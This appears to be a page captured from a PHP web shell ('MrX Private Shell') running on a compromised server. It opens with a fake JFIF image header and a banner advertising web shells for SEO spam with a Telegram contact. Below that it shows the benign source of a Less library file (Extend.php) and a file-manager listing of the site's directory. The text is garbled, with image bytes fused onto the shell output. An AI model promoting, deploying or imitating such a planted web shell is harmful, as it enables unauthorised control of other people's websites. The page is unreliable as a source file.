����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Extend
*
* @package Less
* @subpackage tree
*/
class Less_Tree_Extend extends Less_Tree{
public $selector;
public $option;
public $index;
public $selfSelectors = array();
public $allowBefore;
public $allowAfter;
public $firstExtendOnThisSelectorPath;
public $type = 'Extend';
public $ruleset;
public $object_id;
public $parent_ids = array();
/**
* @param integer $index
*/
public function __construct($selector, $option, $index){
static $i = 0;
$this->selector = $selector;
$this->option = $option;
$this->index = $index;
switch($option){
case "all":
$this->allowBefore = true;
$this->allowAfter = true;
break;
default:
$this->allowBefore = false;
$this->allowAfter = false;
break;
}
// This must use a string (instead of int) so that array_merge()
// preserves keys on arrays that use IDs in their keys.
$this->object_id = 'id_' . $i++;
$this->parent_ids = array(
$this->object_id => true
);
}
public function accept( $visitor ){
$this->selector = $visitor->visitObj( $this->selector );
}
public function compile( $env ){
Less_Parser::$has_extends = true;
$this->selector = $this->selector->compile($env);
return $this;
//return new Less_Tree_Extend( $this->selector->compile($env), $this->option, $this->index);
}
public function findSelfSelectors( $selectors ){
$selfElements = array();
for( $i = 0, $selectors_len = count($selectors); $i < $selectors_len; $i++ ){
$selectorElements = $selectors[$i]->elements;
// duplicate the logic in genCSS function inside the selector node.
// future TODO - move both logics into the selector joiner visitor
if( $i && $selectorElements && $selectorElements[0]->combinator === "") {
$selectorElements[0]->combinator = ' ';
}
$selfElements = array_merge( $selfElements, $selectors[$i]->elements );
}
$this->selfSelectors = array(new Less_Tree_Selector($selfElements));
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Mixin | Folder | 0755 |
|
|
| Alpha.php | File | 832 B | 0644 |
|
| Anonymous.php | File | 1.07 KB | 0644 |
|
| Assignment.php | File | 721 B | 0644 |
|
| Attribute.php | File | 975 B | 0644 |
|
| Call.php | File | 2.83 KB | 0644 |
|
| Color.php | File | 5.12 KB | 0644 |
|
| Comment.php | File | 1.23 KB | 0644 |
|
| Condition.php | File | 1.46 KB | 0644 |
|
| DefaultFunc.php | File | 581 B | 0644 |
|
| DetachedRuleset.php | File | 822 B | 0644 |
|
| Dimension.php | File | 5.13 KB | 0644 |
|
| Directive.php | File | 2.03 KB | 0644 |
|
| Element.php | File | 1.48 KB | 0644 |
|
| Expression.php | File | 1.82 KB | 0644 |
|
| Extend.php | File | 1.93 KB | 0644 |
|
| Import.php | File | 8.21 KB | 0644 |
|
| Javascript.php | File | 542 B | 0644 |
|
| Keyword.php | File | 688 B | 0644 |
|
| Media.php | File | 4.27 KB | 0644 |
|
| NameValue.php | File | 1.3 KB | 0644 |
|
| Negative.php | File | 729 B | 0644 |
|
| Operation.php | File | 1.38 KB | 0644 |
|
| Paren.php | File | 577 B | 0644 |
|
| Quoted.php | File | 1.85 KB | 0644 |
|
| Rule.php | File | 3.1 KB | 0644 |
|
| Ruleset.php | File | 16.15 KB | 0644 |
|
| RulesetCall.php | File | 477 B | 0644 |
|
| Selector.php | File | 4.03 KB | 0644 |
|
| UnicodeDescriptor.php | File | 419 B | 0644 |
|
| Unit.php | File | 3.09 KB | 0644 |
|
| UnitConversions.php | File | 612 B | 0644 |
|
| Url.php | File | 1.75 KB | 0644 |
|
| Value.php | File | 794 B | 0644 |
|
| Variable.php | File | 1.2 KB | 0644 |
|